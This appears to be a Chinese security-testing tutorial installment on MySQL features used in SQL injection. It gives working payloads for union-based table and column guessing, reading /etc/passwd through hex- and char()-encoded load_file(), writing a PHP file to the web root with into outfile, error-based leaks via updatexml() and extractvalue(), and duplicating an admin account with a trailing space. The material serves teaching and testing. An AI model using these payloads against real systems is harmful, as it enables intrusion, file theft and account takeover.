­

软件安全性测试(连载10)

  • 2019 年 12 月 26 日
  • 筆記

3. MySQL数据库特性

1)MySQL数据库注释

MySQL数据库注释如下。

l#:注释从'#'到行位。

l–:注释从'–'序列到行位。

l/**/:注释/*序列到后面*/序列之间的字符。

具体可参照以下代码。

//在mysql中如何写注释语句

mysql> SELECT 1+1; # 这个注释直到该行结束

mysql> SELECT 1+1; — 这个注释直到该行结束

mysql> SELECT 1 /* 这是一个在行中间的注释 */ + 1;

mysql> SELECT 1+

/*

这是一个

多行注释的形式

*/

1;

但是有一个特例。

MariaDB [sec]> select /*!5555,name*/ id from user;

+——+——-+

| 5555 | id |

+——+——-+

| 5555 | jerry |

| 5555 | cindy |

| 5555 | linda |

| 5555 | susan |

| 5555 | peter |

+——+——-+

5 rows in set (0.00 sec)

表示如果当前版本高于5.55.5,name这列被显示,否则显示id这列。

2)获得MySQL的元信息

正如上一节讲到,可以通过联合查询来或者数据库的元信息。

查询数据库名称

MariaDB [sec]> select SCHEMA_NAME fromINFORMATION_SCHEMA.SCHEMATA LIMIT 0,20;

+——————–+

| SCHEMA_NAME |

+——————–+

| information_schema |

| mysql |

| performance_schema |

| phpmyadmin |

| sec |

| test |

+——————–+

6 rows in set (0.00 sec)

查询当前数据库表

MariaDB [sec]> select TABLE_NAME fromINFORMATION_SCHEMA.TABLES where TABLE_SCHEMA =(select DATABASE()) LIMIT 0,10;

+————+

| TABLE_NAME |

+————+

| paper |

| user |

查询表中所有字段

MariaDB [sec]> select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='user' LIMIT 0,10;

+————-+

| COLUMN_NAME |

+————-+

| Host |

| User |

| Password |

| Select_priv |

| Insert_priv |

| Update_priv |

| Delete_priv |

| Create_priv |

| Drop_priv |

| Reload_priv |

+————-+

10 rows in set (0.02 sec)

来看这么一个联合查询

MariaDB[sec]> select id,name,password from user union select 1,2,3;

+—-+——-+———-+

| id | name |password |

+—-+——-+———-+

| 1 | jerry |654321 |

| 2 | cindy |123456 |

| 3 | linda |knyzh158 |

| 4 | susan |qwert |

| 5 | peter |zxcvb |

| 1 | 2 | 3 |

+—-+——-+———-+

6 rows in set (0.00 sec)

首先找到一个存在SQL注入的网页,然后利用上面这个联合查询来猜测数据库中可能存在哪些表,表中可能存在哪些字段。

网站http://www.domain.com/sec/21/jsp/index.jsp?id=3存在SQL注入漏洞。页面显示3号用户的用户信息。猜测是否存在一个表名为person,用http://www.domain.com/sec/21/jsp/index.jsp?id=3 union all select 1,2,3 from person刺探,这是页面出现500 error,说明不存在person这个表,然后根据经验采用各种名称,当猜测表名可能为user,用http://www.domain.com/sec/21/jsp/index.jsp?id=3union all select 1,2,3 from user刺探,没有出现错误信息,且出现了一堆如25一堆“用户名:2,密码:3”信息,说明当前表名为user。

25 猜测到当前表名为当前表名为user

然后可以进一步猜字段,比如先猜测字段名是否为username,在地址栏中输入:http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2,username from user,出现500 error,进一步猜,当猜到字段名为name的时候(这时URL为http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2, name from user),显示类似如26信息,表示猜到了存在一个字段名为user,并且可以看见所有这个字段下的字段名。

26 猜测到当前user表存在一个字段name

3)读写文件

①读文件

MySQL提供了load_file()函数用来读文件,Into outfile()函数用来写文件

读文件:

…union select 1,load_file('/etc/passwd'),3, 4, 5, 6

通过这个语句,可以读取Linix目录中/etc/passwd文件。假设程序中不允许出现单引号',可以把上面语句改为。

…unionselect1,load_file(0x2F6563742F706173737764),3,4,5,6

0x2F6563742F706173737764为'/etc/passwd'十六进制格式,或者利用

…union se1ect1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6

47,101,99,116,47,112,97,115,115,119,100为/etc/passwd 的ASCII码。如果页面出现乱码,可以用下面hax()函数办法来解决。

… union selecthex(load_file(char(99,58,92,49,46,116,120,116)));

②写文件

可以通过下面语句来写文件。

…union select '<?php phpinfo(): ?>' into outfile'c:wwwroot1.php'

…union select char(99,58,92,50,46,116,120,116) intooutfile 'c: wwwroot1.php'

对于读写文件注意Linux要有足够的读写权限,并且文件必须为全路径名称。

4)利用MySQL函数

①concat()或 concat_ws()函数

concat ()函数用于将多个字符串连接成一个字符串。

concat_ws() 代表 concat With Separator ,是concat()的特殊形式。第一个参数是其它参数的分隔符。

比如:

MariaDB [sec]> select name from user where id =3 unionselect concat_ws(0x2c,user(),database(),version());

+————————————+

| name |

+————————————+

| linda |

| root@localhost,sec,10.1.19-MariaDB |

+————————————+

2 rows in set (0.00 sec)

0x2c为逗号。在查询的第二行root@localhost,sec,10.1.19-MariaDB通过逗号分为root@localhost为当前用户、sec为当前数据库、10.1.19-MariaDB为当前版本。

②updatexml()和extractvalue()函数

在5.1.5中添加了updatexml()函数和extractvalue()函数

lupdatexml()函数:对XML文档进行更新的函数。

lextractvalue()函数:对XML文档进行查询的函数。

第二个参数需要xpath格式的字符串。如果不符合要求,这显示不符合标准的信息,黑客可以利用这个方法来获取数据库元信息。

显示数据库版本。

MariaDB [sec]> select * from user where id=3 andupdatexml(1,(concat(0x7c,(select @@version))),1);

ERROR 1105 (HY000): XPATH syntax error:'|10.1.19-MariaDB'

由于第二个参数不是xpath格式,所以先显示XPATH syntax error,然后再显示现在的内容为|10.1.19-MariaDB,即数据库版本。

显示当前用户。

MariaDB [sec]> select * from user where id=3 andextractvalue(1,(concat(0x7c,(select user()))));

ERROR 1105 (HY000): XPATH syntax error: '|root@localhost'

同样由于第二个参数不是xpath格式,所以先显示XPATH syntax error,然后再显示现在的内容为root@localhost,即当前用户。

更多MySQL函数可以查询MySQL的官方网站。

5)长度折断

下面这条语句往user表中插入了一个系统管理员admin的账户,是通过正常手段生成的。

insert into user(name,password) values('admin','rrbbyqutb@66_18T');

黑客可以通过如下语句,也添加了一个admin的账户。

insert into user(name,password) values('admin ','123456');

因为在前期判断中

select * from user where username='admin ';

返回是一个null对象,说明系统中不存在,所以可以建立。

然而使用查询语句。

select * from user where name='admin';

则可以查询出来两条记录,所以一旦黑客成功,这可以使用自己定义的用户名/密码登录了。